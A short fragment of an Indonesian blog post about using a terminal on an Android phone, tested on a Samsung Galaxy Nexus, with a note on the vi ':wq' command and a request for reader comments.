:wq = exit saving changes (must be typed in while in browse mode)

ScreenShoot (Untuk Bisa Browsing harus nyalakan WiFi dulu sebelum masuk terminal):





TEST ON : Samsung Galaxy Nexus


Jangan lupa komen ya gan, karna komentar anda2 sangat membantu bagi perkembangan blog

Postingan Lebih Baru Postingan Lama Beranda